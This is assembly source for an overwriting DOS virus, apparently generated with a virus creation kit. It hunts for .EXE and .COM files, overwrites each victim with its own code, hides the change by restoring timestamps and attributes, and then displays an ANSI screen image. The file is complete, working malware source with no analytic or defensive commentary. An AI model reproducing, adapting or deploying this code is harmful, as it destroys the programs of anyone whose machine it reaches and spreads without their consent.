2022-08-21 09:07:57 +00:00
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; JOHN.ASM -- For John Boy!
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; Created with Nowhere Man's Virus Creation Laboratory v1.00
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; Written by Pentagrame
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virus_type equ 1 ; Overwriting Virus
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is_encrypted equ 0 ; We're not encrypted
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tsr_virus equ 0 ; We're not TSR
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code segment byte public
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assume cs:code,ds:code,es:code,ss:code
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org 0100h
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start label near
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main proc near
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flag: or di,0
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xchg di,ax
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mov cx,0004h ; Do 4 infections
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search_loop: push cx ; Save CX
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call search_files ; Find and infect a file
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pop cx ; Restore CX
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loop search_loop ; Repeat until CX is 0
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mov si,offset data00 ; SI points to data
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mov cx,03B3h ; Second argument is 947
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push di ; Save DI
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push es ; Save ES
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jcxz uncrunch_done ; Exit if there are no characters
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mov ah,0Fh ; BIOS get screen mode function
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int 10h
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xor ah,ah ; BIOS set screen mode function
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int 10h ; Clear the screen
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xor di,di
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mov ax,0B800h ; AX is set to video segment
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mov es,ax ; ES holds video segment
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mov dx,di ; Save X coordinate for later
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xor ax,ax ; Set current attributes
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cld
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loopa: lodsb ; Get next character
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cmp al,32 ; Is it a control character?
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jb foreground ; Handle it if it is
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stosw ; Save letter on screen
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next: loop loopa ; Repeat until we're done
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jmp short uncrunch_done ; Leave this routine
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foreground: cmp al,16 ; Are we changing the foreground?
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jnb background ; If not, check the background
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and ah,0F0h ; Strip off old foreground
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or ah,al ; Put the new one on
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jmp short next ; Resume looping
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background: cmp al,24 ; Are we changing the background?
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je next_line ; If AL = 24, go to next line
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jnb flash_bit_toggle ; If AL > 24 set the flash bit
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sub al,16 ; Change AL to a color number
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add al,al ; Crude way of shifting left
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add al,al ; four bits without changing
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add al,al ; CL or wasting space. Ok,
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add al,al ; I guess.
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and al,08Fh ; Strip off old background
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or ah,al ; Put the new one on
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jmp short next ; Resume looping
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next_line: add dx,160 ; Skip a whole line (80 chars.
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mov di,dx ; AND 80 attribs.)
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jmp short next ; Resume looping
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flash_bit_toggle: cmp al,27 ; Is it a blink toggle?
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jb multi_output ; If AL < 27, it's a blinker
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jne next ; Otherwise resume looping
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xor ah,128 ; Toggle the flash bit
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jmp short next ; Resume looping
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multi_output: cmp al,25 ; Set Zero flag if multi-space
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mov bx,cx ; Save main counter
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lodsb ; Get number of repititions
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mov cl,al ; Put it in CL
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mov al,' ' ; AL holds a space
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jz start_output ; If displaying spaces, jump
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lodsb ; Otherwise get character to use
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dec bx ; Adjust main counter
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start_output: xor ch,ch ; Clear CH
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inc cx ; Add one to count
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rep stosw ; Display the character
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mov cx,bx ; Restore main counter
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dec cx ; Adjust main counter
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loopnz loopa ; Resume looping if not done
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uncrunch_done: pop es ; Restore ES
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pop di ; Restore DI
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mov ax,04C00h ; DOS terminate function
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int 021h
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main endp
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search_files proc near
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mov dx,offset exe_mask ; DX points to "*.EXE"
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call find_files ; Try to infect a file
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mov dx,offset com_mask ; DX points to "*.COM"
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call find_files ; Try to infect a file
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jnc done_searching ; If successful then exit
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done_searching: ret ; Return to caller
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exe_mask db "*.EXE",0 ; Mask for all .EXE files
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com_mask db "*.COM",0 ; Mask for all .COM files
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search_files endp
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find_files proc near
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push bp ; Save BP
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address
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mov bp,sp ; BP points to local buffer
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sub sp,128 ; Allocate 128 bytes on stack
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push dx ; Save file mask
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lea dx,[bp - 128] ; DX points to buffer
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mov ah,01Ah ; DOS set DTA function
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int 021h
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mov cx,00100111b ; CX holds all file attributes
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mov ah,04Eh ; DOS find first file function
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pop dx ; Restore file mask
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find_a_file: int 021h
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jc done_finding ; Exit if no files found
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call infect_file ; Infect the file!
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jnc done_finding ; Exit if no error
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mov ah,04Fh ; DOS find next file function
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jmp short find_a_file ; Try finding another file
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done_finding: mov sp,bp ; Restore old stack frame
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mov ah,01Ah ; DOS set DTA function
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pop dx ; Retrieve old DTA address
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int 021h
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pop bp ; Restore BP
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ret ; Return to caller
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find_files endp
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infect_file proc near
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mov ah,02Fh ; DOS get DTA address function
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int 021h
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mov si,bx ; SI points to the DTA
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mov byte ptr [set_carry],0 ; Assume we'll fail
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cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes?
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jne infection_done ; If it is then exit
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cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM?
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je infection_done ; If it is then skip it
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cmp word ptr [si + 01Ah],(finish - start)
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jb infection_done ; If it's too small then exit
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mov ax,03D00h ; DOS open file function, r/o
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lea dx,[si + 01Eh] ; DX points to file name
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int 021h
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xchg bx,ax ; BX holds file handle
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mov cx,4 ; CX holds bytes to read (4)
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mov ah,03Fh ; DOS read from file function
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mov dx,offset buffer ; DX points to buffer
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int 021h
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mov ah,03Eh ; DOS close file function
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int 021h
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push si ; Save DTA address before compare
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mov si,offset buffer ; SI points to comparison buffer
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mov cx,4 ; CX holds number of bytes (4)
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mov di,offset flag ; DI points to virus flag
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rep cmpsb ; Compare the first four bytes
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pop si ; Restore DTA address
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je infection_done ; If equal then exit
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mov byte ptr [set_carry],1 ; Success -- the file is OK
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mov ax,04301h ; DOS set file attrib. function
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xor cx,cx ; Clear all attributes
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lea dx,[si + 01Eh] ; DX points to victim's name
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int 021h
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mov ax,03D02h ; DOS open file function, r/w
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int 021h
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xchg bx,ax ; BX holds file handle
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mov ah,040h ; DOS write to file function
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mov cx,finish - start ; CX holds virus length
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mov dx,offset start ; DX points to start of virus
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int 021h
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mov ax,05701h ; DOS set file time function
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mov cx,[si + 016h] ; CX holds old file time
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mov dx,[si + 018h] ; DX holds old file date
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int 021h
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mov ah,03Eh ; DOS close file function
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int 021h
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mov ax,04301h ; DOS set file attrib. function
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xor ch,ch ; Clear CH for file attribute
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mov cl,[si + 015h] ; CX holds file's old attributes
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lea dx,[si + 01Eh] ; DX points to victim's name
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int 021h
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infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
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ret ; Return to caller
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buffer db 4 dup (?) ; Buffer to hold test data
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set_carry db ? ; Set-carry-on-exit flag
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infect_file endp
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data00: ; TheDraw Assembler Crunched Screen Image
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IMAGEDATA_WIDTH EQU 80
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IMAGEDATA_DEPTH EQU 25
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IMAGEDATA_LENGTH EQU 947
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IMAGEDATA LABEL BYTE
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DB 15,16,24,24,24,25,2,20,25,'I',24,16,25,2,23,' ',16,25
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DB 'G',23,' ',24,16,25,2,20,' ',14,27,'<27><><EFBFBD><EFBFBD>',16,25,2,20,'<27>'
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DB '<27><><EFBFBD>',16,' ',20,'<27>',26,6,'<27><>',16,25,2,20,'<27>',26,6,'<27>'
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DB '<27>',16,' ',20,'<27>',26,8,'<27><>',16,' ',20,'<27>',26,8,'<27><>',16
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DB ' ',20,'<27>',26,8,'<27><>',24,16,25,2,23,' ',20,26,4,'<27><>',26
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DB 4,'<27>',16,' ',20,26,3,'<27><>',16,' ',20,'<27><><EFBFBD><EFBFBD>',16,' ',20
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DB 26,3,'<27><><EFBFBD><EFBFBD>',26,3,'<27>',16,' ',20,26,3,'<27>',16,25,3,20,'<27>'
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DB '<27><>',16,' ',20,26,3,'<27>',16,25,3,20,'<27><><EFBFBD>',16,' ',20,26
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DB 3,'<27>',16,25,3,20,'<27><><EFBFBD>',16,' ',23,' ',24,16,25,2,23,' '
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DB 20,26,10,'<27>',16,' ',20,26,3,'<27>',16,25,7,20,26,3,'<27><><EFBFBD>'
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DB '<27>',26,3,'<27>',16,' ',20,26,3,'<27>',26,3,'<27>',16,25,3,20,26
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DB 3,'<27>',26,4,'<27>',16,25,2,20,26,3,'<27>',26,4,'<27>',16,25,2,23
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DB ' ',24,16,25,2,20,' ',26,3,'<27>',16,' ',20,'<27>',16,' ',20
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DB 26,3,'<27>',16,' ',20,26,3,'<27>',16,25,7,20,26,10,'<27>',16,' '
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DB 20,26,3,'<27>',26,3,'<27>',16,25,3,20,26,3,'<27>',26,4,'<27>',16,25
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DB 2,20,26,3,'<27>',26,4,'<27>',16,25,2,20,' ',24,16,25,2,23,' '
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DB 20,26,3,'<27>',16,25,2,20,26,3,'<27>',16,' ',20,26,3,'<27><>',16
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DB ' ',20,'<27><><EFBFBD><EFBFBD>',16,' ',20,26,3,'<27>',16,25,2,20,26,3,'<27>'
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DB 16,' ',20,26,3,'<27>',16,25,7,20,26,3,'<27>',16,25,3,20,'<27>'
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DB '<27><>',16,' ',20,26,3,'<27>',16,25,3,20,'<27><><EFBFBD>',16,' ',23,' '
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DB 24,16,25,2,23,' ',20,'<27><><EFBFBD><EFBFBD>',16,25,2,20,'<27><><EFBFBD><EFBFBD>',16,' '
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DB 20,'<27>',26,6,'<27><>',16,' ',20,'<27><><EFBFBD><EFBFBD>',16,25,2,20,'<27><><EFBFBD><EFBFBD>',16
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DB ' ',20,'<27><><EFBFBD><EFBFBD>',16,25,7,20,'<27>',26,8,'<27><>',16,' ',20,'<27>',26
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DB 8,'<27><>',16,' ',23,' ',24,16,25,2,20,' ',16,25,'G',20,' '
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DB 24,16,25,2,23,' ',16,' ',20,'<27><><EFBFBD>',16,25,2,20,'<27>',26,6
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DB '<27><>',16,25,4,20,'<27>',26,6,'<27><>',16,25,3,20,'<27>',26,8,'<27>'
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DB '<27>',16,' ',20,'<27>',26,6,'<27><>',16,25,2,20,'<27>',26,7,'<27><>'
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DB 16,25,2,23,' ',24,16,25,2,20,' ',26,4,'<27>',16,' ',20,26
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DB 3,'<27><>',16,' ',20,'<27>',26,3,'<27>',16,25,2,20,26,3,'<27><><EFBFBD><EFBFBD>',26
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DB 3,'<27>',16,25,2,20,26,3,'<27>',16,25,3,20,'<27><><EFBFBD>',16,' ',20,26
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DB 3,'<27><><EFBFBD><EFBFBD>',26,3,'<27>',16,' ',20,26,3,'<27><>',16,25,2,20,'<27><>'
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DB '<27>',16,25,2,23,' ',24,16,25,2,23,' ',20,26,4,'<27>',16,' '
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DB 20,'<27>',26,4,'<27><><EFBFBD>',16,25,5,20,26,3,'<27><><EFBFBD><EFBFBD>',26,3,'<27>',16,25
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DB 2,20,26,3,'<27>',26,3,'<27>',16,25,3,20,26,3,'<27><><EFBFBD><EFBFBD>',26,3,'<27>'
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DB 16,' ',20,26,3,'<27>',16,' ',20,26,3,'<27>',16,25,3,20,' '
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DB 24,16,25,2,23,' ',20,26,4,'<27>',16,25,3,20,'<27><>',26,4,'<27>'
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DB '<27>',16,25,2,20,26,10,'<27>',16,25,2,20,26,3,'<27>',26,3,'<27>'
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DB 16,25,3,20,26,10,'<27>',16,' ',20,26,3,'<27>',16,' ',20,'<27>'
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DB '<27><><EFBFBD><EFBFBD>',16,25,2,23,' ',24,16,25,2,23,' ',20,26,4,'<27>',16
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DB ' ',20,26,3,'<27><>',16,' ',20,'<27>',26,3,'<27>',16,25,2,20,26
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DB 3,'<27>',16,25,2,20,26,3,'<27>',16,25,2,20,26,3,'<27>',16,25,7
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DB 20,26,3,'<27>',16,25,2,20,26,3,'<27>',16,' ',20,26,4,'<27><><EFBFBD><EFBFBD>'
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DB '<27><><EFBFBD>',16,25,2,23,' ',24,16,25,2,20,' ',16,' ',20,'<27><>'
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DB '<27>',16,25,2,20,'<27>',26,6,'<27><>',16,25,3,20,'<27><><EFBFBD><EFBFBD>',16,25,2
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DB 20,'<27><><EFBFBD><EFBFBD>',16,25,2,20,'<27><><EFBFBD><EFBFBD>',16,25,7,20,'<27><><EFBFBD><EFBFBD>',16,25,2
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DB 20,'<27><><EFBFBD><EFBFBD>',16,' ',20,'<27>',26,7,'<27><>',16,25,2,20,' ',24,16
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DB 25,2,23,' ',16,25,'G',23,' ',24,16,25,2,23,' ',16,25,'G'
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DB 23,' ',24,16,25,2,20,' ',16,25,'G',20,' ',24,16,25,2,23
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DB ' ',16,25,'G',23,' ',24,16,25,2,20,25,'I',24,24,24
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finish label near
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code ends
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end main
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